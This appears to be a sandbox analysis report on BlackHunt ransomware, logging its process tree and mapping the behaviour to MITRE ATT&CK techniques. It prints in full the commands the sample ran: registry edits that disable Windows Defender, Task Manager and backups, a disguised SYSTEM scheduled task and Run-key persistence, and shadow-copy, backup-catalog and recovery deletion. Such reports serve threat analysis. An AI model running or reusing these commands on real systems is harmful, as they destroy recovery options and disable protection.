  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe" /F
  2⤵
  PID:972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1268
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3408
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4844
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4824
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:468
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1196
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1988
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:220
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3208
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1928
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2544

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4088

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2384

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery